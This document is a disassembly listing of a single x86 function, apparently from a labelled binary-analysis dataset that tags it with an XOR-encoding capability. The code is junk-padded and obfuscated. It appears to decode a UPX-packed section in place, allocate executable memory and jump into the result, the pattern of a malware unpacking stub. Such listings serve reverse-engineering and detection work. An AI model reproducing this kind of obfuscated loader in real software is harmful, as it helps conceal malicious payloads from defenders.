Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x85d360d0
add edx, ecx
inc edx
popal
not edx
add edx, 0x2de2e30d
mov ebx, 0
mov edi, edx
and eax, eax
mov esi, eax
not esi
mov ecx, edi
mov eax, 0x531514a8
and esi, esi
mov edx, ecx
add eax, 0x84045999
inc eax
mov eax, esi
inc ebx
add eax, esi
sub eax, 0x80767e46
mov eax, 0x65f70c4e
cmp ebx, 0x10079c8
jne 0x47afcf
add eax, eax
dec esi
add esi, eax
cmp ebx, 0x10079c8
je 0x47b019
mov ebx, 0
mov dword [ebx], ecx
add esi, 0x7f7b24c9
not esi
and eax, eax
and edx, edx
add edx, 0xec825c08
or ecx, ecx
mov edx, 0x47ada2
mov eax, edi
add eax, ebx
mov ecx, 0x47af96
inc ebx
sub eax, 0xfab26777
mov esi, dword [edx]
add edi, 0xca713069
sub ebx, 0x9f34d11e
or ebx, edi
and esi, 0xff
mov ebx, 0x2caf490
add edi, edi
xor dword [ecx], esi
not ebx
add edi, edi
not ebx
inc ecx
and eax, eax
mov eax, edi
add edx, 1
inc edi
or eax, ebx
dec edi
cmp ecx, entry0
jl 0x47b042
and edi, edi
inc eax
sub eax, ebx
add edi, 0x39c0aa75
inc eax
add esi, esi
sub esi, edi
sub edi, esi
mov edx, 0x47af9a
sub esi, ecx
not ecx
mov edx, dword [edx]
or ebx, esi
sub ebx, esi
or esi, ebx
mov edx, dword [edx]
and edi, ecx
mov edi, 0xea17b624
mov ebx, esi
push edx
or ebx, ebx
mov ebx, esi
sub edi, esi
mov edx, 0x47af96
add ebx, 0x9bad6c68
add esi, 1
mov edx, dword [edx]
mov esi, ebx
sub ebx, 0x6058a506
mov edx, dword [edx]
sub ebx, esi
and esi, ecx
push 0x47af9e
not esi
mov ebx, 0x278e82a
and edi, ecx
call edx
add esi, 0xe0b1b3c
inc ebx
mov edx, dword [esp]
add esp, 4
and ecx, ebx
or ecx, ebx
push 0x47afab
add ecx, ecx
or ecx, edi
push eax
mov ecx, esi
and esi, ecx
sub ebx, 0x33f3e9d6
call edx
add ecx, ebx
mov edi, 0xe7cdd127
push 0x40
sub ecx, edi
sub ecx, 1
mov ebx, 0x974d1681
push 0x3000
add ecx, ebx
or edi, ebx
inc esi
push 0x200001de
and ebx, ebx
or ecx, edi
push 0
add esi, 0x7a4fb56a
add ebx, 0x94fb5aed
call eax
mov esi, 0xa23cd007
add esi, ebx
add eax, 0x2000013a
sub esi, 1
add ebx, 0xc8d59cc3
mov edi, ecx
mov edx, 0x24b2ce3b
mov esi, edi
add esi, esi
mov dword [eax], edx
and edi, edi
add ebx, 0xcb9e1ce8
mov edx, dword [eax]
not esi
sub esi, ebx
and edi, esi
cmp edx, 0x24b2ce3b
je 0x47b193
mov ecx, 0
mov byte [ecx], dl
mov ecx, 0x3bcd0a11
sub ebx, edi
and esi, edi
inc esi
sub ebx, 0x2a061b15
and edx, ecx
add ecx, ecx
sub edx, 1
mov esi, section.UPX1
and ecx, ecx
add edx, 0x48216c93
and ecx, ecx
mov ebx, 0x47ada1
mov ecx, 0x204f9a7d
add ecx, 0xbedc072
and ecx, ecx
mov edi, 0
dec edx
inc ecx
sub edx, ecx
mov eax, 0x47ada2
and edx, ecx
or edx, ecx
lea eax, [edi + eax]
and ecx, ecx
mov ecx, edx
add edx, 0x134ab6cf
mov eax, dword [eax]
add edx, edx
and edx, ecx
add ecx, 0xb2496e83
and eax, 0xff
mov edx, 0xc62a38d7
sub edx, 0xa4b257df
mov edx, 0xfbfc75cf
inc edi
add edx, edx
sub edx, ecx
cmp edi, 0x1f4
jne 0x47b221
mov edi, 0
inc edx
and edx, ecx
or ecx, edx
add ecx, 0x44fe456c
and edx, ecx
xor dword [esi], eax
mov edx, ecx
mov edx, ecx
add esi, 2
sub edx, 0x83a3fb8a
and edx, edx
cmp esi, ebx
jl 0x47b1d7
dec edx
sub ecx, 0x52a29fde
inc ecx
and edx, ecx
and ecx, ecx
add ecx, 0x82960d00
mov ecx, section.UPX1
add eax, 0xa304fdba
add eax, 0x52646ee5
add eax, 0xf9e92c64
mov edi, section.UPX1
mov edx, 0x7023cce7
sub eax, 0xf28b602f
add edx, eax
mov esi, 0x47ada1
mov eax, 0xaaed284e
sub edx, eax
add edx, 0x76554511
mov ebx, 0
mov eax, edx
add eax, edx
or eax, eax
mov bl, byte [edi]
add edx, 1
or edx, edx
mov edx, 0xff0aae13
mov byte [ecx], bl
or edx, eax
dec edx
inc ecx
mov eax, 0x5a769fd7
not eax
add edi, 2
not edx
or eax, eax
sub edx, 1
cmp edi, esi
jle 0x47b2a2
not edx
sub eax, 0xfbf46247
sub eax, edx
not ecx
add ecx, 0x4913c0be
dec ecx
sub esp, 4
mov dword [esp], 0x45e6a0
and edx, edx
mov ecx, edx
add ecx, 0xc126fb2e
ret